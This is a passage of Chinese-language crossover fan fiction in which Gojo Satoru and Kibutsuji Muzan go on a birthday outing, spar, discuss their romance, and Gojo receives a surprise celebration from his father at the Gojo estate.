但这双手又没了余地,手指间被纠缠着勾勒着,透露出正主内心的不平静。 鬼舞辻无惨摆摆手,故作无奈的语气,“真主动了你又不乐意。” 五条悟感觉自己的脸颊又上涨了几度,连带着眼尾都染上了点热意。 “让你主动,不是让你这样主动啊!” 五条悟不爽地反驳到:“老子要的是甜甜的恋爱啊,你想到哪去了!” “只是?”鬼舞辻无惨慢悠悠地反驳到。 “……好吧确实不能没有……咳咳,但是首先肯定是要甜甜的恋爱啊,老子可是很在意这个的,谁像你啊!一上来就冲着那个过去。” 五条悟战术性喝了两口冷水,好不容易让自己脸上的热度稍稍被压了下来。 “老子这半年,管五条家管的时间貌似太多了,就不该让那老头有压榨老子的时间。 还有你啊,感觉杀咒灵都杀麻木了。” 五条悟平日里管理家族事务,而余下的祓除咒灵的任务,则多半交给了鬼舞辻无惨。 但就鬼王实际体验下来,感觉还好,纯粹有的时候想罢工而已。毕竟鬼舞辻无惨不用进食,偶尔饿了也只是喝点五条悟的血。不用睡眠,精神状态也不会下降,可以连轴转。疲惫嘛,只能说身体上的疲惫是没有的,精神上的,实际上已经延续了一千年多了,这点疲惫才算多少啊。 总而言之,真是愈发能感觉到自己已经偏离人类了。不过也有可能是因为,只有当死亡如影随形之时,生命的存续才突出表现了它的价值。而当死亡的威胁彻底消失,完美的生命反倒是容易从完美中被剥离出来,毕竟驾驭这具身体的还只是人类的灵魂。 千年的时光,只留下最为长久的执念。所以鬼舞辻无惨表现出了对其余一切事物的漠视,当然,在进化得以彻底实现后,连对死亡和生命本身的执念也容易被忽视。所以鬼舞辻无惨绝大多数时候表现出来的样子,都是对一切毫不在意的淡然,除非是面对特殊情况下,才会流露出一点点疯狂的本色。 就比如,贯彻了他来到这个世界的半年时光的五条悟。再加上鬼舞辻无惨本身对某些事情的不在意,才显得他毕竟放的开。 “甜甜的恋爱?你是会喜欢这种款的吗,五条悟。” 奇怪的语气,但听不出来是嘲讽还是惊奇,或者两者皆有。 “虽然之前已经有预感了,不过半年过去了,居然还是这样吗……果然是挺纯情的。” 五条悟鼓着嘴,总有种莫名其妙低了一头的错觉。 “怎么啦?纯情怎么啦!这说明老子认真专一。” 其实有个饭搭子是件很不想错的事,但当你的出行搭子只是在桌子的另一头默默看着你吃,自己连筷子都不动一下的话,会有一种很微妙的感觉。不过五条悟已经习惯了,谁让面前这家伙除了自己的血,其余食物都不在对方的菜谱里呢。 所以五条悟急急忙忙带着鬼舞辻无惨从餐厅跑出来,估计是另有原因。他耳朵上的红还没有彻底消散,少年人的心思往往都摆在脸上,一看就是还没过刚才的坎。 鬼舞辻无惨一猜就能知道他在想什么,大抵逃不开先前那些已有的思路。不过讲道理,虽然逗小孩是挺有乐子的,但真要给自己找男朋友,五条悟这种的还是略显幼稚了。 如果五条悟知道他心里在想什么,大抵要骂上一句“天塌了”,并且再次补充自己这是活泼,不是幼稚。 但五条悟现在连自己的心情都管理不好,脑子里主动和引导的愿望相互辅佐,先爱和后爱的争执你来我往,当然最后还是甜甜的恋爱占据了主导地位。 再加上要五条悟去改变自己的性格是件不可能的事,两人都觉得不可能,也当然不会。所以五条悟在连着十几次越过墨镜瞄着鬼舞辻无惨的时候,被偷看的人终归是忍不住开口。 “其实你可以继续思索,毕竟,你我的时间都很长。” “不行,你先别说话,我有事。” 五条悟正经地说到,就像是豁出去了一样,拉着鬼舞辻无惨进了一旁的窄道里。 他的指尖微微颤抖着,指腹滚烫,不用肉眼观看就知道那是灿烂的红。然后这指腹按上鬼舞辻无惨的眼尾,接着是整个手掌交叠了上来,遮住他的眼睛。 下一秒,轮到五条悟靠近,然后试图去亲吻他。与先前不同的是,鬼舞辻无惨完全没有要躲避的意思,只是感叹到这一吻的短暂,柔软的触感转瞬即逝。 对方的唇离开后,接着离开的就是他的掌心。视线重获光明,第一个看见的就是脸颊红到像是要烧起来一样的五条悟。 “……你别现场给我晕过去。” 五条悟闭着眼睛,咬牙切齿。 “你晚点再说话,一点浪漫细胞都没有的家伙。”【你现在阅读的是魔蝎小说 moxiexs】 60-70 第61章 第 61 章 生日篇4 接下来的两个小时, 五条悟死命拉着鬼舞辻无惨逛服饰商场,给他买了十几顶帽子,然后和售货员神神秘秘地聊了好几分钟, 中途还特意嘱咐鬼舞辻无惨不能偷听, 否则会跟他冷战五分钟。 在目睹对方的迷惑操作之后, 鬼舞辻无惨表示:? “你在背着我做什么见不得人的事情吗?” 五条悟大为震惊,随后推攘着他的肩膀出了服装店。最后预定的服饰基本上都是被送到五条家的, 五条悟负责挑衣服和刷卡,然后安抚鬼舞辻无惨的情绪(?)。 “怎么可以这么说呢!老子哪里在干见不得……人、的,事……了。” 虽然是在反驳, 但五条悟的语气倒是逐渐弱了下来, 甚至于他的脸上还泛着愈发浓重的红。那颜色霞丽,衬着明亮的蓝, 眼珠雾蒙蒙的。 “看你的表情,和我有关?”鬼舞辻无惨脸上挂着调侃的微笑, 像是想到了什么有趣的事情,眼神中的恶趣味甚至无法遮掩。 “哎呀,脸这么红,你在想什么呢?五条悟。” 他不说还好, 他一说, 五条悟顿时脸跟烧起来一样。但捂着脸跑掉也太掉价了, 所以他选择捂着鬼舞辻无惨的嘴,把人一起带走。 鬼舞辻无惨老老实实靠着他的手臂, 眼神平淡地看着手机屏幕。 五条悟对他的举动表示不满, 强制性把自己的脸凑到他面前,“你在看什么?有那么好看吗?” 五条悟定定地注视着他,时不时把眼神撇开一会儿, 让自己的脸颊降温。 鬼舞辻无惨:“真看你了,你又要害羞,嗯?” 五条悟恼了半天,结果发现他似乎没有说错,于是恼羞成怒,一怒之下怒了一下,像是耍无赖一样捂着他的手机屏幕,对着他的肩膀指指点点,试图在道德层面蔑视他。但实际上,鬼舞辻无惨比他自己更加没道德。 “离这儿最近的游乐场,整个十二月都有抽奖活动,凡是当天购买门票的游客,都有机会得到乐园准备的大礼包一份。” 五条悟表示不屑,“你觉得老子会被这种商业广告吸引吗?” “反正你想要什么都能得到,不是吗?”鬼舞辻无惨没有顺着他的话,“既然这样,完全随机的东西反而更有趣吧?” “虽然你这么说也没错,但是想想都能知道啊,无外乎是什么游乐场用来坑人的小玩具、文创,可能还有优惠券之类的。” 鬼舞辻无惨:“你怎么好像很熟悉一样。” “哼,当然是因为……”五条悟得意洋洋地笑着,“老子去年就来过,那时候还是因为出任务来着。” 鬼舞辻无惨略显诧异地看着他,“生日前夕还出任务,你是这么敬业的人吗?” “因为快放假了呀,那群人有的没的都不回高专了,也就一年级还留在高专。老子都没法捉弄人了,出来打打咒灵,就当是饭后的娱乐活动咯。” “现在的话……”五条悟脸上的温度渐渐降了下来,“无所谓啦,反正明天回一趟高专就知道了。” 鬼舞辻无惨收回看向他的视线,“不过我也没想错就是了。” 五条悟:“不不不,大错特错,你对老子的了解不及万分之一,建议在这方面多多下功夫,然后才能……诶,别走啊。” 五条悟跟了上去,继续喋喋不休。 “其实老子的性格很好懂的,真的。等等等,前面是窗户啊,你要干嘛?” “五条悟。” 鬼舞辻无惨的语气陡然变得严肃下来,也让五条悟的声音停了一瞬。 “干嘛突然这么正式啊……干什么。”?消失了…… 鬼舞辻无惨的眉头皱起来。方才那一瞬,他分明感应到了自己的血液,但这感觉转瞬即逝,微弱的就像是他的错觉。 在溜我? 鬼舞辻无惨眸色一沉,颇感到有些不爽,但把这事跟五条悟说,只会让他更不爽。 所以他只是靠着墙壁,声音淡淡的。 “没事,只是觉得你太吵了,安静一会儿。” 五条悟:…… 也不知道五条悟是觉察到了他的不对劲,还是纯粹不想管,还是他的思维已经飘到别的地方去了。但事实就是,两人都无法作出违背对方意愿的事,一方面是不屑于去做,另一方面则是二者实力使然。 倘若对方乐意,那便聆听与陪伴,若不愿,与我亦无纠葛。 但是五条悟仔细想了想,各不干涉这一相处模式,若是按他俩先前的关系,那倒是无所谓。 但是。 “亲都亲过了吧?” 五条悟的脸又不受控制地染上了红色,眼见走廊前头,行人步履悠然,于是他不敢高声语,像是羞于展露心意,试探性地将包裹着花蕊的花瓣张开一角。 “干嘛一副很不爽老子的样子,就算老子是有点那什么……但是你不准这么干啊混蛋,绝对不允许!” 五条悟这回是真真切切地有点怒意了,但这点怒意来自于何方?自己的心思在对方那里,恍若稚子般纯粹,纯粹到有些天真,只能是供他闲暇之时的玩乐。觉得有意思时就任由自己胡闹,但失去兴趣之时,就弃之一旁。 …… 老实说,还是第一次有人会把五条悟当成这种属性的存在。 五条悟的不爽顿时溢得满脸都是了,无论是那双灵动到仿佛会说话的眸子,还是红润的唇瓣和颤抖的眼睫,都能显示其内心的不平静。 以前就算了,但现在,自己的心思还表现的不够明显吗?这家伙分明知道的透彻,却偏偏仗着自己人生阅历丰富,把自己当成什么都不懂的孩童一样逗弄。 总感觉什么都不干预,任由其发展的话,这段关系绝对会变得奇奇怪怪起来的。 但五条悟又问自己,为什么想和这个一看就没道德、浑身又都是谜的家伙,为什么想和他拥有一段正常的情侣关系? 是想成为情侣的吧,亲都亲了诶,总不能只是走肾不走心吧? 这怎么可以啊,自己要的可是甜甜的恋爱! 好了,就这么决定了! “喂。”五条悟歪着头,面上不带一点表情,同他平日里相去甚远,“打一架,怎么样?” 鬼舞辻无惨同意了。 如果真是要正经打上一场,这里几栋大楼都不够他俩霍霍的,所以鬼舞辻无惨接受了五条悟的提议,两人上了天台,就只是动用纯粹的身体力量。 鬼舞辻无惨不用鬼血术,五条悟不动用咒力,两人纯粹地近身肉搏。 但实际上,很快,鬼舞辻无惨就发现,自己失算了。 又一次被横扫到墙上,面对着瞬间到来的拳头,鬼舞辻无惨的瞳孔骤缩,下意识侧身闪避,然后被五条悟一脚踹在腹部,身形不稳,重重咳出一声。 但五条悟这小子是动真格了的,丝毫不准备给他喘息的机会,随后又是一拳直直地冲着他的面门而来。 再一次勉强躲过,鬼舞辻无惨做了个手势,要求暂停。 “呼。”这种程度,对比起先前的战斗来说,还是有些不够格,连热身都算不上,五条悟甩了甩手,没有再进攻。 “之前虽然有点感觉,但是直到现在才确认。” 五条悟瞬移到他面前,欣赏着他骤然放大的瞳孔。 “喂,你没有经受过专业的战斗训练吧?” 鬼舞辻无惨冷哼一声,转过头去。 “让我想想,该怎么描述呢……”五条悟灵光一现,“就像是游戏里有着超高的HP值和MP值的大boss,技能基础数值还被万恶的数值策划设计得超级超模。 但boss攻击动作的前后摇很大,具体来讲,就是有点迟钝吧?” 大脑不能及时准确地分析战场的变化,也无法及时调动身体各部分对危机做出应对,甚至因为战斗经验欠缺的原因,战斗时也无法依靠身体本能去应对突如其来的危机。 骨刺得以充当他的视线,甚至除了那位,其余的攻击都无法对鬼舞辻无惨造成实质性的威胁,与其费心费力去躲,不如直接以伤换伤,反正以鬼的恢复能力,先死的肯定是人类。 而不用鬼血术的时候,战斗经验缺乏这一点的劣势就十分突出。 “你说得对。”鬼舞辻无惨颇为不爽地理了下自己的领口,皱着眉看着他,“我确实没有经过专业的战斗训练。” 五条悟嬉皮笑脸地蹭着他的脸颊,接着两只手猛地抱住他。 “哎呀~不要这么不高兴嘛~老子又没有嘲笑你,嘻嘻。” 鬼舞辻无惨用食指抵着他的额头,把对方的脑袋微微推开。 “怎么,现在开心了?” “老子没有生气呀,你怎么会这么想呢~” 五条悟装作无辜地瞪着他的那双眼睛,感叹果然还是要打一架才能稍微好点,接着继续抱着他的腰。 “听见没有,不许把老子当小孩好吗? 就算老子现在,额,可能,和你需要的那种恋人还有点差别……” 看着鬼舞辻无惨的眼神,五条悟十分没气势地把自己的话改了。 “咳咳,好吧,是差别很大。 但现在才相处了半年呀,说不定再等久点,你就习惯了老子呢?” 鬼舞辻无惨眯着眸子审视他,“所以你在让我适应,不是你自己改?” “那怎么了。”五条悟理直气壮,“老子完美无瑕~怎么可能是老子的问题,一定是你不懂欣赏……诶诶诶,别走别走。干嘛啊,跟你开个玩笑而已嘛——” 第62章 第 62 章 生日篇5 “理由。” 鬼舞辻无惨的声音冷冷的, 听不出喜怒,但也没有露出一丝不耐。 “哈?什么理由。” 鬼舞辻无惨双手抱胸,身子靠在泛着金属光泽的护栏上。他的身后是漆黑的夜, 昏沉而黑暗。这夜一望无垠, 这黑暗深沉而浓重, 鬼舞辻无惨靠在这里,一如他的内心, 只余下眼瞳中那点点的微光。 “与你同行一事,我已确认过理由。 我认可你的灵魂,认可你作为某些特殊顶点的价值, 所以我希望看到你的结局, 所以我与你同行。” 他的声音也如这黑夜一般,如往常一样, 平淡而悠长。 “但更深层次的联系,我需要另外的理由。” 五条悟不自觉地走上前去, 注视着他的眸子。 从初次见面时打的个你死我活,被迫和他定下了彼此约束的条款。到后来的有求于他,毕竟为了处理一年级的事情。 在这之后呢? 后面五条悟发现,其实只要在一些小小的事情上做出那么一点点让步, 比如, 给出自己的血液, 或者纯粹说点好话,就能得到这人的助力。 如果不是从他非人的身份上来看的话, 其实鬼舞辻无惨还是挺……随和?的, 毕竟他一直追求的生命形态得到了实现,所以对其余一切都不怎么在意了,也就是他所表现出来的那样淡漠。 那么回到最初, 五条悟在内心询问自己,为什么一开始,要选择加深同他的联系? …… 因为这人很神秘吧?拥有强大的力量,咒术界却对其一无所知,血液操控,感染眷属,超出一般反转术式的自愈能力,让五条悟对这人充满好奇。 好巧不巧,那时鬼舞辻无惨正面临着面对生与死的难题,恰巧五条悟敏锐地发现了这一点,试图从这点作为切入口,更加地接近他,了解他身上的秘密。 结果当然是超乎他的预料,这人身上的过往比自己想象的还多,更多的信息则是夹杂着调侃和恶意而被洒落的,难以辨其真假,但足够有趣。 再之后,因为高层的举动,因为同学们受到了牵连,因为杰的退学…… 还有在御三家所接受到的一切,在高专接受到的一切,在接受这一切时不自觉的反抗和沉浸,诸如此类构成了如今的五条悟。 他被塑造着,也试图去推翻塑造自己的存在。或许这对于五条家来说,对整个高层来说,是一种背叛,但五条悟的答案从始至终都是十分明确的。 既然有这个能力,那就能够去做;既然老子愿意,那就可以去做。 夏日祭典的那天,烟火仍旧灿烂,在记忆中耀眼夺目。五条悟蓦地就感觉有些后悔,自己那时就应该直接A上去。 那时的氛围太好了,永恒和刹那交织,此世与彼世相逢,高天与众生在同一水平线,接着五条悟向他发出了邀请。 然后鬼舞辻无惨同意了。 一切仿佛都是水到渠成,顺利到让五条悟都快忘记了,这人就如同他所说的那样。 他不是什么好人。 一切明面上的平淡都只是高高在上的俯视,时不时透露出的恶意和趣味,正如他那被掩藏在深厚云层之上的黑暗,浓重而深厚。 不然,就老子这样的人,要颜值有颜值,要实力有实力,要性格有颜值和实力的人。重要的是老子家庭好,出手大方,性格随和,还会时不时准备礼物。 就这种条件诶,在老子和他说想谈一场甜甜的恋爱的时候,他难道不应该直接同意了嘛? 咳咳。五条悟在脑子里给了自己一拳,总算是把歪掉了的思路拉了一点回来。 五条悟的语气难得正式起来,连自称都变了。 “拜托,咒术界目前的顶点,我本人的由身到心的归属,难道不够吗?” 鬼舞辻无惨无所谓地点了点头,话里话外根本就没带信他的。 “嗯,年纪不大的小鬼是这样的,自以为自己能守住最初的念头,专注而专一。” 五条悟及时打断了他的话,语气有些不满:“等等等,别随便嘲讽啊,老子是真的专一。” “或许只是出于一时的兴味吧。”鬼舞辻无惨满不在意地说着:“等到我身上的一切迷题都被解开,等到对咒术界的行动完全不需要我的干预,再或者,也不用这些时间节点,过个两三年,就只是单纯的腻了和我的相处模式,或者直接讨厌我的个性和我的存在,这都是很正常的情况吧?” “毕竟人类,还是很难逃离这种逻辑命运的。” 五条悟挑了下眉,墨镜的镜片不平稳,一上一下的,显示出一点滑稽感和放荡不羁。 “还没开始谈呢,你居然连未来会导致关系破灭的可能性都想的那么清楚的吗?” “这是另一个方面。我只能说,如果你是为了玩玩,现在的相处模式我很满意。” 毕竟逗五条悟确实挺好玩的,看着漂亮的脸上因为自己染上颜色,就更加令人动容了。 五条悟眯着眼睛打量着他。 “我好像明白了,意思就是,如果纯粹只是为了当下享乐的话,你的接受度很高?只要考虑开心就好了,你可以把我当成纯粹的乐趣逗着玩,我也可以这样对你,总而言之是用自己喜欢的模式。” “但如果是搞纯爱,就不能只关注物欲上的享乐,还要考虑未来,是这么个逻辑不?” 五条悟摸着下巴,感觉他的心情还不错。 鬼舞辻无惨眼神奇怪地盯着他,既觉得他的话怎么感觉怪怪的,又找不出具体反驳的点,半晌,就算是同意了对方的说法。 “你要这么理解,也可以。” 五条悟努了努嘴,靠到他身边。 “好嘛,老子知道了。 不过你居然会这么觉得,说明老子在你心里就是一个一时起意,只贪图享乐的家伙吗?” “我可没有这么说过。”鬼舞辻无惨似笑非笑地看着他,声音慢悠悠的,像是久久不落的浮云,“你也觉得自己在别人心里是这么个形象吗?” “不要转移话题嘛,老子知道你的意思了。”五条悟笑嘻嘻地把脸凑过去,然后又被对方的手背抵回来。似乎是感觉有点意思,五条悟不紧不慢地探出头去,最后脑袋上挨了一拳才消停。 凡人若是心甘情愿地结合,无外乎两种大类,要么为自己,要么为未来。 为自己,指的是找到与自身志趣相投的同伴,相互交心,探讨彼此的意义。 为未来,则是为了给家庭找值得托付的另一半,然后向着既定的道路疾驰。 但对于两人来说,志趣爱好是八竿子打不着的。五条悟嗜甜,但鬼舞辻无惨是个完全不需要进食的家伙,两人甚至没法完完整整地吃上一顿像样的饭。 五条悟喜欢一切与正经不搭边的事物,为此,经常翘课去打游戏和逛街。鬼舞辻无惨则是喜欢研究外语和新鲜的科技,虽然五条悟想,也可以会,但正是因为他会,所以他才不愿意做。 第一个理由,就被刷了下去,志趣相投?假的。 再说后代,再说家庭,两人的实力足以支撑他们全然超脱世俗的要求,尤其是鬼舞辻无惨,大可以随便找个人迹罕至的地方睡上个几十上百年。 而五条悟虽然是五条家的人,想都不用想,只要到了娶妻的年纪,少不了被催婚,也少不了试图通过婚姻关系接近他的存在。但只要五条悟本人不想,任何方法都不行。拿道德和责任压他更是没法子,毕竟六眼五百年才会出一个,就注定了五条悟的后代不会继承六眼。 所以,当其他原因都无法奏效的时候,唯一维持他们间关系的理由,就只有“他们愿意”这一个原因。 当然,问题就随之出现了,因为人类的情感实际上是很容易被磨灭的,别说日常生活中大大小小断断续续的摩擦,哪怕是规避掉一切不合适的经历和磨难,但哪怕是纯粹的时间本身,甚至都不一定能熬过去。 更何况,他们间没有相似点,没有足以加强这段感情的存在。 “嗯,你说的很对。” 五条悟伸出手,去为他将那额前的一缕发丝归位,用手掌绕着他的脸颊,就像是在愈发靠近对方这个人。 “那我要怎么证明?这种东西,最有说服力的,只剩下时间作为验证吧?” 我要如何向你证明我所坚持的确实存在?证明自己确实执着,专一,认定了就不会放手。 既然时间能消弭一切,那不如就用时间来证明吧? 毕竟,陪伴是最为长情的告白。 但话又说回来了,五条悟拨动着他的头发,语气凄凄惨惨。 “如果等到后面,结果是你先厌倦了我,那我怎么办?” 五条悟眨巴眨巴眼睛,颇为忧伤地说:“你会怀疑我是否专一,那我怀疑一下你,也很正常的吧?” “你说的有道理。”鬼舞辻无惨微微一笑,赞成了他说的话,但并不打算对此做出回答,“但那是你需要考虑的事情吧?加油哦。” 五条悟眯着眼,皮笑肉不笑地勾着唇角,感觉他的语气都变得咬牙切齿起来了。 “好啊,你这个家伙,还真有够恶劣的。” 五条悟在笑,但这笑容不见得活跃和轻松。 “假如是你先放弃离开的,老子一定要狠狠揍你一顿。” 第63章 第 63 章 生日快乐,…… 摩天轮的四周泛着绚丽的灯光, 鬼舞辻无惨站在一个座舱的顶上,皮鞋坚硬的底端和铁皮箱接触后发出一声清脆的声响,稍纵即逝, 没有引起一丝慌乱。 一家三口正安然地坐在里面, 看起来应该是父母的人正在交谈着什么, 只有他们的孩子趴在窗户上,好奇地观赏着夜景。 但是下一秒, 五条悟凑到窗户边上,跟他打了个招呼。 此时的座舱正行于最顶端,所以…… 小孩子稚嫩的声线在密闭的舱内响起, 当然同样也落到了五条悟的耳朵里。 “妈妈!有个大哥哥会飞……” 女人疑惑地看了眼自己的孩子, 下意识反驳到:“怎么可能啊小宝,我们都到这么高了。” “真的!”见妈妈并不相信自己的话, 小孩子趴在窗户上向外面看去,但人影确实消失不见了。 至于恶作剧被中断了的原因, 当然是鬼舞辻无惨实在是看不下去这家伙的幼稚举动了,纵身从摩天轮上跳了下来。五条悟见状,也就跟着下来。 两人跟着重力一同坠落,但五条悟还多了个能瞬移的手段, 随即到了鬼舞辻无惨身前, 伸手一捞, 带着他一起落在隐秘的角落里。 五条悟的手掌还覆在他的腰上,没有放开, 在被鬼舞辻无惨瞥了之后, 也不知道是怎么想的,先是顿了一下,随后又用空着的手对他比了个“耶”, 最后脑门上果不其然地收获了一个暴击。 “靠……” 五条悟挠了挠头发,指着建在僻静角落的一栋房子,边上还布满了荆棘和杂草,看起来荒凉的很。但大楼的正门前面,挂着个用鎏金字体写的几个大字,门口还有卖票的地方,表明了这里也是游乐园的一部分。 “鬼屋?这里面无论出现什么,都不会对你有吸引力吧?” 五条悟转了下眼珠子,神神秘秘地跟他说:“确实没什么吓人的,但是我们可以冲到角落躲起来,然后在工作人员找不到人的时候猛的出现,把他们手里的工具夺走。” “或者。”五条悟像是想到了什么好点子,眼睛亮亮的,“你可以变成老子的模样,然后先一步进鬼屋,在工作人员忙着招待你的时候,老子突然出现,给他们来一次细思极恐。” 鬼舞辻无惨听完,表情略显无语。 “过于幼稚,拒绝。” “啊……”五条悟苦着一张脸控诉他,“难道你不觉得这很有意思吗?” “很容易就能想到是两个长相一样的人在恶作剧吧?正常人的第一反应,应该是双胞胎。”鬼舞辻无惨撇开视线,“我倒是很好奇,究竟是谁才会觉得这种捉弄人的把戏有意思?” “杰啊。”五条悟眨眨眼,虽然蛮久没见面了,但对方的名字还是脱口而出。 …… 鬼舞辻无惨很可疑地停顿了两秒,接着才补充道:“说实话,看来我确实低估了人类思维的多样性,在这种无聊的事情上,居然有人能和你想到一起去。 讲真的,我建议你们两个一起去做一下心理咨询。特别是你的那位挚友。” 五条悟眯着眼睛盯着他,表情纠结在一起,良久,眼神困惑。 “你是在说我脑子不好?” “谁知道呢。”鬼舞辻无惨摆摆手,“说不定是被六眼烧坏了脑子。” “嘁。”五条悟不屑地看着他,“反转术式可以治疗。” “破坏之后的残余吧,就像是用脑过度之后会产生的疲倦,嗯?你一直吃甜食,不是也有这方面的原因吗。” 五条悟顺着他的思维去想,感觉似乎真有点道理,于是他瞬间觉得不能落入对方的逻辑里面。 “不管你说的对不对,反正老子不乐意听。” “不过嘛……”五条悟挑了下眉,“杰也需要心理咨询吗?” “是的。” 鬼舞辻无惨拿出手机看了下时间。 “他还好吧?”五条悟脸上露出回忆的神色,“之前和他视频的时候,感觉他的状态比退学的时候要好了很多。” “这样啊,那或许是他从自己目前正在做的事情上,找到了某些问题的答案吧。” 鬼舞辻无惨没有纠结这个,“不过现在嘛,我要回一趟五条家。” 五条悟一听见他说要回去,顿时表情就不高兴了,像是被冷落的布偶试图重新夺回饲养员的关爱,叫叫嚷嚷地挥舞着自己的爪子。 “干嘛,这才出来多久就要回去,你这么快就烦了老子吗?” 五条悟撇着嘴,表情不满。 鬼舞辻无惨轻笑一声,当然知道他在不满些什么,于是在对方还在生气的时候就凑上去,重重地吻了下他的唇,离开前还眨了下眼,满意地看着五条悟瞬间染红的耳垂,心情愉悦地弯了弯眼角。 “别闹。” “而且现在已经快零点了吧?” 出来的这几个小时里,他们吃了饭,逛了街,看了十几家饰品店和甜品店,还在商业街买了一大堆衣服。算算时间,现在也差不多要到零点了。 “那怎么了。” 五条悟的想法单纯的很,既然你跟老子一起出来了,既然目的是明天老子的生日,那就该把全部的注意力放在自己身上啊,回五条家干什么? “还有几分钟就零点了诶,就正好到老子的生日了诶,你以为老子是你一个敷衍的亲吻就能打发的家伙吗?” “嗯?”鬼舞辻无惨沉吟片刻,露出一个坏笑,“那再亲一个?” “也不是不可以……不对啊,重点分明就是!”五条悟的语气瞬间弱了下来,又开始黏黏糊糊地撒娇,“老子明明不喜欢那里,干嘛非要这个时间回去嘛……” 鬼舞辻无惨愉悦地笑了起来,血色的眸子像是看见了什么有意思的东西,专注而浓重。他微凉的指尖划过五条悟的脸颊,接着用指腹揉了揉,五条悟的身子没动一下,只是用漂亮的湛蓝色眸子盯着他。 鬼舞辻无惨的喉结滚动了一下,接着手指掐住他的下巴,微微用力,把他的脑袋拉低。自己也凑上去,抬起头,含住他的唇。 两人的身体贴的很近,五条悟下意识伸出手,扶着他的腰,哪怕脸上再红再烫,目光都没有从鬼舞辻无惨的脸上移开。 忍不住再靠近,两人黏黏糊糊的亲吻着,五条悟甚至能感觉到自己的下巴被对方的指甲剐蹭了两下。 直到分开的时候,五条悟眼角沾了点雾蒙蒙的水汽,亲昵地蹭着他的脸颊。 “说真的,五条悟。”鬼舞辻无惨的声音微微带着点喘息,“你真的不想……” 五条悟知道他要说什么,及时地打断了他,半是羞赧半是恼怒地掐了下他的腰。 “不要!不许动摇老子对纯爱的追求。 还有,不要想着蒙混过关啊喂,你回五条家干什么呢?” 鬼舞辻无惨慢悠悠地说到:“啊,其实也没什么,只不过是,那位家主求我办一件事,所以我现在得回去。” “求……你,办事?”五条悟颇为诧异地盯着他,“真的?他还会求人呐,今天这太阳也没有打西边出来啊。” 五条悟加重了语调,声音显出一点兴奋,“嘿,有意思,老子倒要看看,他要干什么东西。” 眼看鬼舞辻无惨一点没急,但五条悟急啊,急着回去看热闹。 五条悟搂紧了他的腰,“老子带你回去啊,可快了。” 鬼舞辻无惨似笑非笑地看了他一眼,“你很好奇?” “当然好奇啊。” 五条悟笑嘻嘻地带着人瞬移,瞬息之间,两人出现在了五条家里,正好落在五条瑾的房间门口。 鬼舞辻无惨慢悠悠地向门口走去,大门是敞开的,五条悟下意识要跟上去,但还没等他挪动脚步,身后传来异样的响声,像是什么东西在猛的炸开。 六眼先一步收集信息,等视线蔓延开来的时候,六眼将这景况揽过来,带着那光彩的轮廓返回,五条悟顿时呆住了,接着怔怔地回过头去。 面前是一派开阔的景象,火红的枫叶飒飒燃着,一簇紧挨着一簇,在吊梢的枝头随风摇曳,热烈的惹人心醉。 在这片枫林背后,顺着那火焰而上,直冲云霄,是更亮的火焰。点点星火在空中猛的炸开,散成一幅画,漂亮的不可思议,就像是勃勃的生命力,撕扯开了笼罩在家族顶上那名为礼法的束缚。 哪怕只是一角,哪怕只是瞬间,也足够引人注目。 鬼舞辻无惨看了眼手机屏幕,正正好零点。接着五条瑾从房间里走出来。 五条悟看看鬼舞辻无惨,再看看五条瑾,眼神来来回回移了好多次,最后才不怎么相信地得出答案。 “所以……你说的事,就是……” 五条悟本来以为自己是回来看五条瑾笑话的,但没想到他自己就是那个笑话…… 等等,不对,五条悟猛的拍了下自己的脸颊,试图让自己清醒点。 “干,干什么啊老头子,想让老子回来直说啊,还找这家伙诓我?” “抱歉呢,悟君。”五条瑾微笑着来到他面前,“在下人告知你离开了五条家之后,我就联系了无惨先生,让他把你带回来。 因为悟君以前一直不愿意在家里过生日,所以我猜测这次也是这样,就瞒着悟君了,是我的错。” 五条悟的眼睛从他的脸上扫过,最后又落到地上。 “这种形式?那群老东西同意你这么做?” “悟君不用担心,毕竟我还是家主。” “嘁。”五条悟撇撇嘴,“谁担心了,反正你这个家主也没几年可当了。” “嗯,或许吧,但说起这个……” 五条瑾递给他一份文件,五条悟接过来,随意扫了两眼,先是“家主”什么的字眼,五条瑾的签名赫然在最后。 但五条悟那里的签字是空白的。 五条悟有些惊讶地看着他。 “倘若悟君一直不愿意接手五条家的事务,不在乎五条家的一切,想必长老们无论如何想让悟君继任家主之位,也没有办法实现。 但这半年来,可能还会更久,悟君为了改变咒术界,或主动或被动地介入五条家的事务。况且,想要改变咒术界,也必须通过五条家这一媒介。” “是啊。”五条悟扭过头,有些不爽地说到,“那群老东西本身就对老子的作风和性格很不满了,不借机把老子按在家主的位置上,为五条家服务,怎么可能。” “嗯。”五条瑾点点头,赞同了他的说法,“但我还在这里。” 五条悟看了对方一眼,似乎明白了他想说什么。 “我会一直站在这里,站在这个位置上,只要悟君还需要我。” 五条悟凝视他的眼睛,发现里面确确实实凝聚着少见的温柔。 …… “……那群老不死的肯定会天天来烦你的吧?” 五条悟都能想到对方会经历什么了,不外乎是整天跟其他派系的族人对峙、争斗,工作上处处被使绊子什么的都算轻的。言语侮辱、打压,或者更甚,找诅咒师来暗杀什么的,也不是不可能。 五条瑾的态度很平和,甚至还有心情开个玩笑。 “当然,和悟君相比,我只是个不入流的二级咒术师,如果悟君愿意支持的话,我也会很开心的。” 五条瑾冲他眨了下眼,“也要感谢悟君给我这个狐假虎威的机会了。” 五条悟咽了口口水,蓦地感觉自己有点呼吸不上来,但又不清楚是哪里的问题。 “啊……这算什么……” “是礼物哦。”五条瑾笑容是淡淡的,但其中自有生命力存在。 “生日快乐,悟。” 五条悟深深地吸了一口气,接着又猛的咳嗽了几声,试图用多余的小动作掩饰自己的情绪,失败后颇为自暴自弃地盯着他看。 “你以为老子会很感动吗……” 鬼舞辻无惨不知什么时候到了他身后,声音幽幽的,“是吗,我怎么感觉你已经感动到快要哭出来一样。” 五条悟咬牙切齿,试图挥起拳头给鬼舞辻无惨一拳,但抬起的手不自觉地伸到了背后,指尖纠缠着,透露出他内心的不平静。 “那为什么会挑这个时间?” 五条瑾的声音低沉而悠长,“因为等悟君成年的时候,就太晚了吧? 平时的时间,又感觉不够正式。” 五条悟:“所以你就挑老子生日的时候?” “对的。” 又是一阵沉默,最后是五条悟先开口:“生日活动,就这个吗?” “再多,悟君会嫌弃我这个老家伙烦人的吧?”五条瑾笑眯眯地说到,“当然,如果悟君愿意在五条家过夜,在明早吃一碗厨房准备的长寿面,就更好了。” 五条悟短促地“哦”了一声,就当是应了下来。 “知道了。” …… “……” 五条悟叹了口气。 “谢谢你,父亲。 第64章 第 64 章 生日篇7 12月7日, 早,天气晴好。 